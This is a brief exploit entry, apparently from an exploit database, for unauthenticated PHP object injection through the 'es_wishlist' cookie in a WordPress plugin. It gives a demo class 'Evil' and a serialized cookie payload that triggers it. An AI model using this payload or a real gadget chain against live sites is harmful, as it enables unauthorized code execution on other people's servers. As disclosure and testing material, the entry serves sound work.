Share
## https://sploitus.com/exploit?id=WPEX-ID:8CFD8C1F-2834-4A94-A3FA-C0CFBE78A8B7
To simulate a gadget chain, put the following code in a plugin:
class Evil {
    public function __wakeup() : void {
        die("Arbitrary deserialization");
    }
}

Then, run the below command in the developer console of the web browser while being on the blog as unauthenticated and reload the page to see the Arbitrary deserialization message.

document.cookie='es_wishlist=O:4:"Evil":0:{}'